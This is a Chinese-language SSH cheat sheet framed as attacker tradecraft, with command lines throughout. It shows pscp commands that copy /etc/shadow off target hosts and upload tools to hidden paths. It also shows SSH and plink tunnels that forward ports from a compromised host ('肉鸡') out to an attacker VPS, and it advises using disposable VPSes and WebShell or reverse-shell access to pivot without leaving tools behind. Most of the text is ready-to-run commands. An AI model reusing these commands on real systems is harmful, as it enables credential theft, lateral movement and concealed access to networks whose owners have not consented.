SSH是一种网络协议,用于计算机之间的加密登录。
#连接服务器
ssh root@123.123.123.123
#禁止询问过程
ssh -o StrictHostKeyChecking=no root@192.168.250.14
#远程执行命令
ssh root@192.168.250.14 "id"
#远程主机运行本地脚本
ssh root@192.168.250.14 /bin/bash < test.sh
#挂载远程目录
Centos7:yum install fuse-sshfs
Kali:apt install sshfs
sshfs 10.1.1.1:/data /mnt
配置文件
/etc/ssh/sshd_config
#首次登录不显示检查提示
StrictHostKeyChecking no
PermitRootLogin yes #ubuntu默认不允许root登录
PermitEmptyPasswords no #空密码连接
UseDNS yes #提高速度
GSSAPIAuthentication yes #提高速度,解决ssh登录缓慢的问题
常用选项
#常见选项
-p port #远程服务器监听的端口
-b #指定连接的源IP
-v #调试模式
-C #压缩方式
-X #支持x11转发
-t #强制伪tty分配,如:ssh -t remoteserver1 ssh -t remoteserver2 ssh remoteserver3
-o option 如:-o StrictHostKeyChecking=no
-i <file> #指定私钥文件路径,实现基于key验证,默认使用文件: ~/.ssh/id_dsa, ~/.ssh/id_ecdsa, ~/.ssh/id_ed25519,~/.ssh/id_rsa等
常用工具
密钥的登录
#生成密钥
ssh-keygen -t rsa -P "" -f ~/.ssh/id_rsa
#把公钥传到远程服务器中,然后就可以无需密码登录
ssh-copy-id root@192.168.250.1
Pssh
基于python编写的自动化运维工具,但在2012 年 2 月 3已再不更新了。
安装:yum -y install pssh
场景:获得了内网10+台以上主机,但每一次都需要登录并执行whoami之后截图写报告;
#输出信息
pssh -H root@192.168.250.14 -A -i whoami
#多台主机
pssh -H "192.168.1.10 192.168.1.12" -i hostname
pslurp
#下载文件
pslurp -H 192.168.1.10 -L /app /etc/passwd user
plink
#远程非交互命令执行
echo y |plink.exe -v -ssh 192.168.250.14 -P 22 -l root -pw 123qwe!@# "whoami"
#文件下载
echo y |pscp.exe -pw 123qwe!@# -P 22 root@192.168.250.14:/etc/shadow E:\shadow
#隧道代理
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 admin@VPSIP
pscp非交互文件互传
pscp.exe是putty里面的一个工具,脱网的情况下利用这个工具上传其它工具。
#将指定文件上传到远程目标系统指定目录下
echo y | pscp.exe -pw 123qwe!@# -P 22 C:\Users\Public\Libraries\SQLexec root@192.168.159.7:/usr/tmp/.sqlexec
#从远程目标系统下载指定文件到本地目录
echo y | pscp.exe -pw 123qwe!@# -P 22 root@192.168.159.166:/etc/shadow C:\Users\Public\Libraries\192.168.159.166.hash.txt
#上传文件
pscp -P 22 -batch -pw "123qwe!@#" -r C:\Users\Public\sqltool_amd64_upx.elf root@192.168.159.224:/tmp
#下载文件
pscp -P 22 -batch -pw "123qwe!@#" -r root@192.168.159.224:/tmp/centos6.txt c:\users\public
X 协议转发
什么是X11-forwarding?
X11 中的 X 指的就是 X 协议;11 指的是采用 X 协议的第 11 个版本。
使用X Server开启图形化
#Xshell
yum -y install firefox libglvnd-glx
Xmanager - Passive
export DISPLAY=10.0.0.1:0.0
firefox
#MobaXterm
yum install xorg-x11-xauth xorg-x11-fonts-* xorg-x11-font-utils
xorg-x11-fonts-Type1 firefox mailx
exit
firefox
VPS:PyCharm
隧道转发
什么是SSH隧道?
隧道是一种把网络协议封装进另外一种网络协议进行传输的技术,SSH隧道通常会绑定一个本地端口,所有发向这个端口的数据包,都会被加密并透明地传输到远端系统。
SSH隧道时所用到的一些选项具体用途说明
-N 仅仅只用来转发,不用再弹回一个新的shell -n 后台运行
本地端口转发
场景:边界Linux服务器,允许SSH登录访问,不想传任何代理工具的情况下使用SSH隧道代理。
问题:
优点:
本地隧道是访问特定SSH客户机进行通信的过程,允许你连接到内网机器。
Cetnos7肉鸡:192.168.3.17 (外网)
Attack:192.168.3.20 (攻击者,外网)
Kali操作:
ssh -C -f -N -g -L 0.0.0.0:1234:192.168.5.139:3389 root@172.16.70.144 -p 22
解释:ssh -C -f -N -g -L 本地地址:本地端口:目标IP:目标端口 用户@服务器 -p 端口
Kali操作:
desktop 127.0.0.1:1234
远程端口转发
问题:
在肉鸡上连接外网VPS要给于普通权限用户,并且最好VPS是一次性使用,如vultr主机,用完就删。
如何在WebShell上不传任何工具,使用SSH隧道?
root权限,直接反弹shell,通过反弹的Shell来执行远程端口转发。
#Centos7操作(肉鸡):
ssh -C -f -N -g -R 0.0.0.0:1234:192.168.5.139:3389 root@10.211.55.4
#Kali操作:
desktop 127.0.0.1:3389
#Windows系统SSH代理:
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 admin@VPSIP
动态端口转发
#Kali操作:
ssh -C -f -N -g -D localhost:8080 root@172.16.70.144
编辑:vim /etc/proxychains.conf
random_chain
chain_len = 1
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 8080
#Kali操作:
proxychains rdesktop 192.168.5.139